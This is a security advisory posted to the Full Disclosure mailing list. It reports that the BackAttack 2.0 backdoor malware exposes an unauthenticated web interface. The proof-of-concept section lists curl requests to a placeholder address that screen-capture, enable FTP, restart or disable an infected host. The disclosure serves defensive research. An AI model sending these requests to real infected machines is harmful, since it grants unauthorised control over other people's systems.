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Date: Sat, 11 Dec 2021 16:23:40 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.BackAttack.20 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/8b484576f928c256277016104cc364c2.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BackAttack.20
Vulnerability: Unauthenticated Remote Command Execution
Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on
TCP ports 80 and 11131. The malware features a remote web interface where
you can control an infected host. Third party-attackers who can reach the
system can run commands made available by the malware E.g. take screenshot,
restart the system, enable FTP or even destroy the backdoor etc. The web UI
does not require authentication to execute these commands.
Type: PE32
MD5: 8b484576f928c256277016104cc364c2
Vuln ID: MVID-2021-0423
Disclosure: 12/11/2021

Exploit/PoC:
Show Skeleton
http://x.x.x.x/showskeleton

Show Sex
http://x.x.x.x/showsex

Whos logged on
curl http://x.x.x.x/whoisthere

Screen capture
curl http://x.x.x.x/capturescreen

Enable FTP
curl http://x.x.x.x/ftpon

Restart host
curl http://x.x.x.x/restart

Destroy the backdoor
curl http://x.x.x.x/destroyyes -v

Destroy action has been executed! -Restart procedure initiated also-

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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